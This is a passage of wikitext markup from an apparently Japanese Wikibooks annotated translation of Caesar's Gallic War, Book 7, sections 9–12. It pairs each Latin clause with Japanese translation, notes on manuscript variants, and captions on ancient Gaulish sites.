*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
